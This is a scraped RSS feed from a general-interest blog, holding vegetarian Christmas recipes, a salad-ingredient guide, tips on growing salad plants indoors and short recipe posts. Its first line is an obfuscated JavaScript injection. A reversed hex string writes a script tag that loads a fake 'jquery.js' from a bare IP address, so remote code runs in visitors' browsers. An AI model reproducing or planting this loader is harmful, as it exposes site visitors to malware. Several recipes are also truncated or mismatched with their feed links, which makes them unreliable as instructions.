var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));Vegetarian – Blogeniumhttp://www.blogenium.com
General Blog about any topicTue, 09 Jan 2018 09:33:42 +0000en-UShourly1https://wordpress.org/?v=4.9.4https://i0.wp.com/www.blogenium.com/wp-content/uploads/2016/04/cropped-BLOGENIUM.png?fit=32%2C32Vegetarian – Blogeniumhttp://www.blogenium.com
3232101109536Ultimate Vegetarian Christmas Menuhttp://www.blogenium.com/2013/12/19/ultimate-vegetarian-christmas-menu/
http://www.blogenium.com/2013/12/19/ultimate-vegetarian-christmas-menu/#respondThu, 19 Dec 2013 00:01:10 +0000http://www.blogenium.com/?p=10122While vegetarianism has become more and more mainstream, it remains a bit difficult for vegetarians to enjoy a holiday feast as easily as their omnivorous family members and friends. It’s high time that that changes, though; perhaps this Christmas is the best place to start. Below are four recipes that while sticking to the tenants of meat-free eating, satisfy taste buds of all varieties; simply put, they’re delicious.

Directions:

Pour the broth into a large pan, then bring to a boil. While you wait, finely grate the Parmesan. Carefully pour the polenta into the boiling broth in a steady stream, stirring constantly with a wooden spoon, until all of the polenta has been added. The polenta will thicken up quickly.

Cook for a couple of minutes until very thick, stirring with a long-handed wooden spoon, as it will bubble and pop as it boils. Take the pan from the heat, then stir in the grated cheese, the butter and plenty of salt and pepper. Taste a little bit – you may be surprised how much seasoning polenta can need.

Rub a little oil around the inside of an 8 x 12-inch baking pan, then pour in the polenta and smooth the top. Let cool for at least 10 minutes. It will set firm. You can do this a day ahead if you like – just keep it covered and in the fridge.

Make the herbed oil and prepare the vegetables. Crush the garlic and finely chop the basil. Add to a bowl with the remaining oil and season with salt and pepper.

If the mushroom stems are poking above the cap, then trim to cap level with a knife. Deseed, then quarter, the bell peppers. Brush the bell peppers and mushrooms with a little herbed oil.

Using a 4-inch cookie cutter (or you can use a saucer as a template to cut around), cut out 6 circles from the polenta. Cut the goat cheeses into 6 halves.

Before you begin cooking, check that your charcoal is glowing white hot, or your gas grill is preheated to 400º F. Lightly brush the polenta with a little plain oil. Cook the polenta for a couple of minutes on each side, either directly on the grill or in a grill pan set over the grill, until golden and crisp. Set aside and keep warm.

Place the mushrooms and bell peppers directly on the grill rack for about 5 minutes on each side, until golden and softened. Spoon some tapenade or pesto into the middle of each circle of polenta, then top with a piece of pepper, an upturned mushroom and then a circle of goat cheese. Drizzle with more of the garlic and basil oil, then serve.

Directions:

Preheat the oven to 375º F. Lightly oil the bottom of a single large gratin dish or four individual baking dishes.

Dump the potatoes into a bowl. Add in the onion, garlic, bell pepper, raisins, fresh tomatoes, spinach leaves and black olives. Mix. Add in the olive oil, half a cup of broth and diced tomatoes with juice. Stir to mix. Add the thyme and rosemary; season with sea salt and pepper. Add a shake of hot red pepper flakes, to taste. Stir to coat all the potatoes. If you need a splash more broth to make everything moist, add it in.

Spoon the potato mixture into the oiled baking dish or dishes. Roast in the center of a preheated oven until the potatoes are slightly browned and fork tender – roughly 35 to 45 minutes, depending upon the size of the potato pieces.

Directions:

Mix the cornmeal, flour, sugar, baking powder and half a teaspoon of salt. Add the milk and egg and stir well. Add the melted butter and combine.

Pour into a well-buttered loaf tin and bake for about 20 minutes until it sounds hollow when tapped. Leave to cool overnight, uncovered.

Day Two: The Stuffing:

Preheat the oven to 350º F.

Fry the shallots in a half-ounce of butter and the oil until softened. Add the garlic and cook for a few minutes and season well.

Mix the shallots, cornbread, herbs, pine nuts and apricots in a bowl, then add the melted butter, stock and seasoning. Place in a well-buttered oven-proof dish, cover with foil and bake for 25 minutes. Remove the foil and bake for 5 minutes. If it’s a little dry, add more stock.

Directions:

Preheat the oven to 425º F.

Cut the carrots, parsnips, sweet potatoes and butternut squash in 1 to 1.25-inch cubes. All the vegetables will shrink while baking, so don’t cut them too small.

Place all the cut vegetables in a single layer on two baking sheets. Drizzle them with olive oil, salt and pepper. Toss well. Bake for 25 to 35 minutes, until all the vegetables are tender, turning once with a metal spatula.

Sparkle with parsley, season to taste and serve hot.

A combination of any of these dishes will make for a great vegan Christmas dinner. If you’re dining with both vegans and non-vegans, you could make a dish or two along with the non-vegan recipes that will be adorning your holiday dinner table, that way there’s something for everyone. Happy holidays!

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http://www.blogenium.com/2013/12/19/ultimate-vegetarian-christmas-menu/feed/010122Home-Grown Salad Plantshttp://www.blogenium.com/2012/11/16/home-grown-salad-plants/
http://www.blogenium.com/2012/11/16/home-grown-salad-plants/#respondFri, 16 Nov 2012 00:01:19 +0000http://www.blogenium.com/?p=4139Alys Fowler, a BBC presenter and a trained gardener, specializes in growing plants in nooks and corners of urban homes. Led by her philosophy of trying to use all available space for growing plants, she manages to grow plants in window-sills, stair-wells and balconies. Some of the brilliant techniques adopted by this lady for growing plants indoors are given below.

Window-boxes for the plants:

Window-boxes for the plants

If you wish to grow plants in a window-sill, you should have a window box. Ensure that the window-box has a depth of at least 20 centimeters. It should have drainage holes at the bottom.

You can choose to have wood, plastic or metal boxes. Wooden boxes are water-retentive, plastic boxes are convenient for usage and metal boxes are appealing. Incase of a metal box; ensure it is lined with cardboard. Make sure the box is large enough to accommodate the roots and it is secured well.

Plant composts:

Plant composts

Invest on the right compost which is light and has good absorbent properties. For lettuce, plant the seeds about 5 centimeters apart in the compost filled box. One way to water the box is to place the window box in a water container and allow the upper surface to dampen.

In case you are doing it in the conventional way, ensure you spray water until water leaks out of the drainage holes. You can improve the quality of the compost by adding rice worms and tea decoctions.

Growing salad plants:

Growing salad plants

Lettuces must be placed in shade, but most salad plants such nasturtiums have to be placed in sufficient sunlight. Herbs like mitsuba and mint however require less sunlight.

If you are growing plants in a balcony you can choose from a range of salad plants. You can grow radishes, French beans, spring onions and tomatoes. Cucumber plants are creepers that require support to grow. Water them frequently as that enhances the taste of the veggies.

Salad leaves can be grown during spring and harvested in autumn. For a regular supply of salad veggies, have plants at different growth stages. Wrap the window-box in a paper bag and place it in shade till the seeds to germinate. When the saplings are about an inch high, the bag is removed and the box is exposed to sunlight.

The saplings can be used for salad garnishes when they are about 2 inches high. Instead of lettuce you could also grow sunflower greens and buckwheat.
For fast results, you can sprout sunflower seeds. The seeds take only about a day or two to sprout and are rich in nutrients. Broccoli, red Clover and Alfalfa are sprouts that can be easily grown. You could also grow legumes like, peas, aduki beans and chick peas.

Bush Basil, Chives, Pennyroyal and Winter Savoury grow well in boxes. If you have a sunny window sill you could try growing Cayenne peppers. You could also grow sprouts which are excellent salad ingredients.

If you have space constraints while growing sprouts, you could adopt a tiered system of trays where you can grow sprouts one over the other. Sprouting jars with mesh lids that allow easy draining of water are also excellent choices for sprouts.

]]>http://www.blogenium.com/2012/11/16/home-grown-salad-plants/feed/04139Five Essential Ingredients for an Any time Saladhttp://www.blogenium.com/2012/11/01/five-essential-ingredients-for-an-any-time-salad/
http://www.blogenium.com/2012/11/01/five-essential-ingredients-for-an-any-time-salad/#respondThu, 01 Nov 2012 00:01:28 +0000http://www.blogenium.com/?p=3883It may seem easy to make a nutritious salad quickly, but a good salad will require fresh ingredients. It will also need that little something to excite your taste buds. Following are five of the essential ingredients required to make a tasty salad.Five Essential Ingredients for an Any time Salad

Greens:

Greens are a common ingredient in most salads. While they are very healthy, just greens may not necessarily make for an exciting dinner salad. Basic greens can be made more textural, colourful and appealing by adding more variety to the salad. Prepared mixed greens can be purchased from the market and used to make salads as they have the properties to extend the life of the greens by more than a week.

Vegetables:

Salads can be made completely of greens, but adding vegetables will make your salad taste different. Vegetables such as frozen peas can add flavour to salads when tossed into them. They made salads tastier and make them appear as a delicious vegetable dishes rather than your everyday bowl of greens. A gourmet salad can be made quickly by adding slices of frozen carrots, marinated artichoke hearts or canned asparagus. Black olives and pickled, canned beets also make for interesting options.

Colourful fresh vegetables can be added to supplement the frozen or canned ingredients. Make sure that you choose the vegetables with less water content. Radishes, green onions and bell peppers hold well and can be prepared days before you make the salad while cucumbers and tomatoes must be chopped right before they are served.

Protein:

The appeal and flavour of a plain salad can be improved effectively by adding some protein. Salads can be transformed into a great meal rather than a boring food by the addition of protein due to the flavour present in proteins. While your family may usually be forced to eat salads, you will notice fewer complaints when protein is added to their dinner bowls.

Topping:

Prepared croutons can be used to add crunch to your salad. You can find them in a variety of sizes and flavours and they promise to add value to the dish. Seeds can also be sprinkled to your salad for more flavour. Sunflower seeds, pumpkin seeds and sesame seeds are high in minerals and vitamins and add crunch as well. Even nuts such as almonds, walnuts, cashews and pistachios are great additions.

Dressings:

A salad dressing can either be the best or the worst ingredient in the dish. Adding too much will take away its natural flavour while adding too little will just leave you with a pile of ingredients that do not much to excite your senses. Prepared dressings can be used as a quick option as they last for a long time in your fridge. Vinaigrette dressing is a great option as it is the ideal natural, simple and quick one.

It is important to make sure that you are using fresh ingredients for your salad and that all the ingredients are added in the right proportion.

]]>http://www.blogenium.com/2012/02/10/how-to-prepare-apricot-filling/feed/0863How to prepare Spinach Piehttp://www.blogenium.com/2012/01/28/how-to-prepare-spinach-pie/
http://www.blogenium.com/2012/01/28/how-to-prepare-spinach-pie/#respondSat, 28 Jan 2012 12:39:21 +0000http://www.blogenium.com/?p=758This dish reminds me of Pop Eye (the cartoon character) which loves to eat Spinach, as Spinach gives him a lot of energy to fight against Evils. So Today’s Recipe Spinach Pie will also gives you a lot of Energy. Enjoy preparing it and eat with joy.

Ingredients:

PASTRY

1½ cups wholemeal plain flour

1 teaspoon vegetable salt

1½ cups wheatgerm

125g (40z) vegetable margarine

⅓ cup water, approximately

FILLING

2 bunches spinach (approximately 20 stalks)

500g (1lb) potatoes

250g (80z) cottage cheese

½ teaspoon basil

¼ teaspoon mixed herbs

¼ teaspoon nutmeg

1 teaspoon vegetable salt

How to Prepare:

Pastry:

Sift flour and salt into bowl, add husks in sifter to flour, fold in wheatgerm.

Rub in margarine until mixture resembles coarse breadcrumbs, mix with enough water to make a stiff dough: knead lightly.

Roll out half pastry on floured surface to 23cm (9m) circle using saucepan lid as guide.

Put pastry circle on to greased oven tray, spoon over cold spinach mixture, spreading to within 2.5cm (1in) of edge of circle, pilmg up in the center.

[Serves 4 to 6]
]]>http://www.blogenium.com/2012/01/28/how-to-prepare-spinach-pie/feed/0758How to prepare Hot Rice Salad With Vegetableshttp://www.blogenium.com/2012/01/26/how-to-prepare-hot-rice-salad-with-vegetables/
http://www.blogenium.com/2012/01/26/how-to-prepare-hot-rice-salad-with-vegetables/#respondThu, 26 Jan 2012 00:49:34 +0000http://www.blogenium.com/?p=783Hot Rice Salad With Vegetables may brings water in your mouth, as it looks very delicious, tasty and nutrition meal, hopefully you will enjoy making and eating it.

Ingredients:

1 cup brown rice

¼ cup oil

375g (120z) packet frozen broccoli

1 red pepper

3 sticks celery

6 shallots

6 radishes

vegetable salt

1 teaspoon sit sauce

How to Prepare:

Gradually add rice to large quantity of boiling salted water, boil uncovered for 20 to 25 minutes or until rice is tender; drain.

[Serves 6]
]]>http://www.blogenium.com/2012/01/24/how-to-prepare-cottage-cheese-loaf/feed/0786How to prepare Vegetable Pastrieshttp://www.blogenium.com/2012/01/23/how-to-prepare-vegetable-pastries/
http://www.blogenium.com/2012/01/23/how-to-prepare-vegetable-pastries/#respondMon, 23 Jan 2012 12:39:16 +0000http://www.blogenium.com/?p=755Very unique and delicious dish added in Today’s Recipe and it is having the name as Vegetable Pastries. It may be having Fun preparing this, but you will really like to have this in your supper with tea.

[Serves 4]
]]>http://www.blogenium.com/2012/01/20/how-to-prepare-vegetarian-spaghetti/feed/0780How to prepare Sesame Stickshttp://www.blogenium.com/2012/01/19/how-to-prepare-sesame-sticks/
http://www.blogenium.com/2012/01/19/how-to-prepare-sesame-sticks/#respondThu, 19 Jan 2012 12:39:19 +0000http://www.blogenium.com/?p=761We are going to prepare Sesame Sticks. Children can take these to their schools for Lunch. Nutrition dish having a lot of energy. Enjoy preparing it.